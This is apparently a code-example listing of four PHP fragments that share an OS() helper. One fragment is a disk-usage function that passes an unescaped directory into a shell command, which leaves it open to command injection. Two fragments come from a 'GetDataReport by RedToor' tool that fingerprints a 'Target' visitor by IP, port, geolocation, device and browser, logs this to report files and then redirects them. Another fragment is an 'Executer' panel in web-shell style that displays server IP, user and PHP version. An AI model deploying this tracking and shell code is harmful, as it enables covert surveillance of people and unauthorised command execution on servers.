Example #1
0
function du($dir)
{
    global $settings;
    if (OS() == 'Windows') {
        // Handle on a Windows system
        // Kris: I uploaded a file called diruse.exe to the bin directory.
        //       use case is: diruse /b "C:\program files"
    } else {
        $du = popen("du -sk {$dir}", "r");
        $res = fgets($du, 256);
        pclose($du);
        $res = str_replace(' ', ' ', $res);
        $res = str_replace(' ', ' ', $res);
        $res = explode(' ', $res);
        return $res[0];
    }
}
Example #2
0
function getall()
{
    $id = $_GET['id'];
    $system = browser();
    $unix = OS();
    $provetor = gethostbyaddr($_SERVER['REMOTE_ADDR']);
    $g = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip=' . $_SERVER['REMOTE_ADDR'] . ''));
    $data = "<pre>";
    $data .= "Target             : " . $id . "<br>";
    $data .= "Ip                 : " . $_SERVER['REMOTE_ADDR'] . "<br>";
    $data .= "Port               : " . $_SERVER['REMOTE_PORT'] . "<br>";
    $data .= "Date               : " . date("F j, Y, g:i a") . "<br>";
    $data .= "Country Name       : " . $g['geoplugin_countryName'] . "<br>";
    $data .= "Region             : " . $g['geoplugin_region'] . "<br>";
    $data .= "City               : " . $g['geoplugin_city'] . "<br>";
    $data .= "Longitude ,no exact: " . $g['geoplugin_longitude'] . "<br>";
    $data .= "Latitude  ,no exact: " . $g['geoplugin_latitude'] . "<br>";
    $data .= "Device             : " . device($unix) . "<br>";
    $data .= "Operative System   : " . OS() . "<br>";
    $data .= "Architecture       : " . architecture() . "<br>";
    $data .= "Browser            : " . browser() . "<br>";
    $data .= "Language           : " . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "<br>";
    $data .= "Provetor           : " . $provetor . "<br>";
    $data .= "Referer            : " . $_SERVER['HTTP_REFERER'] . "<br>";
    $data .= "Agent              : " . $_SERVER['HTTP_USER_AGENT'] . "<br>";
    return $data;
}
Example #3
0
titlebar(0);
</script>

<style>
    body,input,table,select{background: black; font-family:Verdana,tahoma; color: #008000; font-size:11px; }
    a:link,a:active,a:visited{text-decoration: none;color: red;}
    a:hover {text-decoration: underline; color: red;}
    table,td,tr,#gg{ border-style:solid; text-decoration:bold; }
    tr:hover,td:hover{background-color: #FFFFCC; color:green;}
.box {border: 3px solid white; box-shadow:0px 7px 9px #FFF; width:250px; height:310px;}
    .oo:hover{background-color: black; color:white;}
    </style>
    <form method="POST" action="">
    <h2><center>~ Executer ~</h2></center><center><div class="box">
    <strong><h4><u>OS</u> :</strong> <i><td style="width:60px; height:20px;"><?php 
echo OS();
?>
</td></i></h4>
    <strong><h4><u>IP</u> :</strong> <i><td style="width:60px; height:20px;"><?php 
echo $_SERVER['SERVER_ADDR'];
?>
</td></i></h4>
   	<strong><h4><u>PHP Version</u> :</strong> <i><td style="width:60px; height:20px;"><?php 
echo phpversion();
?>
</td></i></h4>
   	<strong><h4><u>User :</u> :</strong> <i><td style="width:60px; height:20px;"><?php 
echo whoami();
?>
</td></i></h4>
    <strong><h4><u>Dir</u> :</strong> <i><td style="width:60px; height:20px;"><?php 
Example #4
0
 }
 $system = browser();
 $unix = OS();
 $provetor = gethostbyaddr($_SERVER['REMOTE_ADDR']);
 $g = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip=' . $_SERVER['REMOTE_ADDR'] . ''));
 $data = "<pre>";
 $data .= "Target             : " . $id . "<br>";
 $data .= "Ip                 : " . $_SERVER['REMOTE_ADDR'] . "<br>";
 $data .= "Port               : " . $_SERVER['REMOTE_PORT'] . "<br>";
 $data .= "Country Name       : " . $g['geoplugin_countryName'] . "<br>";
 $data .= "Region             : " . $g['geoplugin_region'] . "<br>";
 $data .= "City               : " . $g['geoplugin_city'] . "<br>";
 $data .= "Longitude ,no exact: " . $g['geoplugin_longitude'] . "<br>";
 $data .= "Latitude  ,no exact: " . $g['geoplugin_latitude'] . "<br>";
 $data .= "Device             : " . device($unix) . "<br>";
 $data .= "Operative System   : " . OS() . "<br>";
 $data .= "Browser            : " . browser() . "<br>";
 $data .= "Language           : " . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "<br>";
 $data .= "Provetor           : " . $provetor . "<br>";
 $data .= "Referer            : " . $_SERVER['HTTP_REFERER'] . "<br>";
 $data .= "Agent              : " . $_SERVER['HTTP_USER_AGENT'] . "<br>";
 $n = rand(0, 9000);
 if ($javascript == 'false') {
     $datas = "<title>GetDataReport[by RedToor]</title><h1>REPORT</h1><br>";
     $datas .= $data;
     $open = fopen("Report-" . $n . ".htm", 'w') or die('Failed');
     fputs($open, $datas);
     fclose($open);
     header("location: " . $url . "");
 } else {
     ?>